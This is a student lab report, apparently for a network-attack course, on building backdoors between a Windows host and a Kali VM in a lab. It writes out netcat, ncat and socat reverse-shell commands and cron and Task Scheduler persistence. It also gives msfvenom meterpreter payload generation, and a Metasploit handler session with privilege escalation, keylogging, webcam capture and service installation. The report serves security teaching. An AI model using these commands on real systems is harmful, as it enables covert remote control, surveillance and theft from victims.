20145234黄斐《网络对抗技术》实验二,后门原理与实践
实验准备
- 后门:后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。后门包括从简单到奇特,有很多的类型。简单的后门可能只是建立一个新的账号,或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序,当你输入特定的密码时,你就能以管理员的权限来存取系统。
- 工具储备:
- meterpreter
- netcat(linux,一般自带)
- ncat(windows)
- socat
- cron:
- cron是一个linux下 的定时执行工具 ,可以在无需人工干预的情况下运行作业。
crontab -u //设定某个用户的cron服务,一般root 用户在执行 这个命令的时候需要此参数
crontab -l //列出某个用户cron服务的详细内容
crontab -r //删除 没个用户的cron服务
crontab -e //编辑某个用户的cron服务
实验过程
windows主机与kali虚拟机实现互联互通
- 首先在win主机上下载ncat软件,并为其配置好环境变量,用于在cmd的使用
- 打开虚拟机,输入指令
ifconfig
,查看其IP地址,并ping一下win主机,观察是否能ping通- 在本实验中,
win_IP:10.43.56.54
,linux_ip:10.43.57.241
- 在本实验中,
- 上述几步是必要准备步骤,该项任务较为简单,不做过多赘述,接下来只需在一个系统开启监听端口,在另一台虚拟机开启请求连接即可
- windows开启监听端口:
-
- kali发起连接请求:
-
使用netcat获取主机操作Shell,cron启动
Windows获得Linux的Shell
- 在windows上打开cmd,并通过ncat开放端口5234
- 在linux上反弹连接win:
nc 10.43.56.54 5234 -e /bin/sh
-
- 当然除此ls命令,还可以使用mkdir、cp等常用命令
- 使用cron开启Linux定时连接:
- crontab指令增加一条定时任务,
-e
表示编辑,接下来会进入编辑状态,在最后一行参照之前的格式加入一条自动执行netcat的指令即可,如下图 -
- 设定30分时自动开启,所以当主机时间到了30分时,就可以获取kali的shell了
-
- 使用任务计划程序开启Windows定时连接:
- 在
控制面板->管理工具->任务计划程序
中添加任务 - 在“操作”中新建一个操作,写入参数:
-e cmd.exe 10.43.57.241 5234
-
-
然后可根据需要设置条件即可。
Linux获得Windows的Shell
- 同上述操作,在linux下设置监听端口:
nc -l -p 5234
- 在windows下请求连接:
ncat 10.43.57.241 5234 -e cmd.exe
- 在linux下输入
ipconfig
查看主机IP:
使用socat获取主机操作Shell, 任务计划启动
- 下载安装socat软件,下载地址
- 在windows上开放
5234
端口,并把cmd的stderr
重定向到stdout
socat tcp-listen:5234 exec:cmd,pty,stderr
- 在linux开启监听:
socat - tcp:10.43.56.54:5234
- 如下图,可以发现成功连接到kali虚拟机:
使用MSF meterpreter生成可执行文件
- 通过meterpreter生成后门程序:
20145234.exe
- linux下输入指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.57.241 LPORT=80 -f exe > 20145234 >.exe
- linux下输入指令:
- 接下来需要将这个后门程序传到我们的靶机上,可以通过ncat来实现
- 首先我在win的cmd下使用
ncat.exe -lv 443 > 20145221.exe
命令在443号端口进行监听 - 然后在Linux下使用
ncat -nv 10.43.56.54 443 < 20145221.exe
命令把文件传送过去
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- MSF打开监听进程
msfconsole
:进入msfuse exploit/multi/handler
:进入handler模式set payload windows/meterpreter/reverse_tcp
:设置payloadshow options
:查看当前信息状态set LHOST 10.43.57.241
:设置LHOSTset LPORT 80
:设置LPORTexploit
:MSF开始监听
-
- 在windows下打开运行
20145221.exe
木马程序,此时杀毒软件可能会报毒,点击找回文件并添加到信任区即可,然后就可以在linux攻击机上取得靶机的shell了 - 通过
help
查看可以使用的指令:-
- 通过
getsystem
提权: -
- 通过
keyscan_start
和keyscan_dump
来记录靶机的键盘输入: - 通过
webcam_snap
捕捉键盘记录 -
- 通过
run metsvc
为主机安装一些系统服务 -
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?下载程序时没有打开防火墙
(2)例举你知道的后门如何启动起来(win及linux)的方式?win:开机自启动、修改注册表、绑定常用程序;linux:定时启动
(3)Meterpreter有哪些给你映像深刻的功能?入侵摄像头
(4)如何发现自己有系统有没有被安装后门?使用杀毒软件